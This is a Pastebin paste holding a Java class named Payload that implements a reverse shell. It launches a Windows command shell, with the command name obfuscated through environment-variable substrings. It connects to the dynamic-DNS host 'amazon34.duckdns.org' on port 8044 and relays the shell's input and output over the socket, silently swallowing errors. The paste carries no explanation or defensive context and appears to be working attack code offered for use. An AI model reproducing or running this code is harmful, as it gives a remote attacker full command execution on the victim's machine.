Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.net.Socket;
- import java.io.InputStream;
- import java.io.OutputStream;
- public class Payload {
- public static void Run() {
- try {
- String attacker = "amazon34.duckdns.org";
- int port = 8044;
- String cmd = "%TEMP:~-8,-7%m%ALLUSERSPROFILE:~10,1%";
- Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
- Socket s = new Socket(attacker, port);
- InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
- OutputStream po = p.getOutputStream(), so = s.getOutputStream();
- while (!s.isClosed()) {
- while (pi.available() > 0) {
- so.write(pi.read());
- }
- while (pe.available() > 0) {
- so.write(pe.read());
- }
- while (si.available() > 0) {
- po.write(si.read());
- }
- so.flush();
- po.flush();
- Thread.sleep(50);
- try {
- p.exitValue();
- break;
- } catch (Exception e) {
- }
- };
- p.destroy();
- s.close();
- } catch (Exception ex) {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement